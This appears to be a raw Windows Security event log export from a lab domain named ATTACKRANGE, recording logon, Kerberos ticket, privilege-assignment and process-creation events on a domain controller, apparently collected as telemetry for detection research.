Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13EAAD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251668 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251667 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251666 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251665 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13EA91 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251664 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13EA91 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251663 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13EA91 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251662 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251661 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251660 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251659 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13E492 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251658 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13D166 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251778 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14253C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1324 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12c4 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251777 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14253C - -Process Information: - New Process ID: 0x12c4 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251776 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14253C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251775 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14253C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {448C173D-22CD-41E8-3467-40E57CB1E8A2} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251774 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {448C173D-22CD-41E8-3467-40E57CB1E8A2} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251773 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {448C173D-22CD-41E8-3467-40E57CB1E8A2} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251772 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251771 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x142375 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251770 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1402D0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251769 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x142500 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251768 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x142500 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64552 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251767 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x142500 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251766 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14249F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251765 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14249F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64551 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251764 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14249F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251763 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x142439 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251762 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x142439 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64550 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251761 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x142439 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - 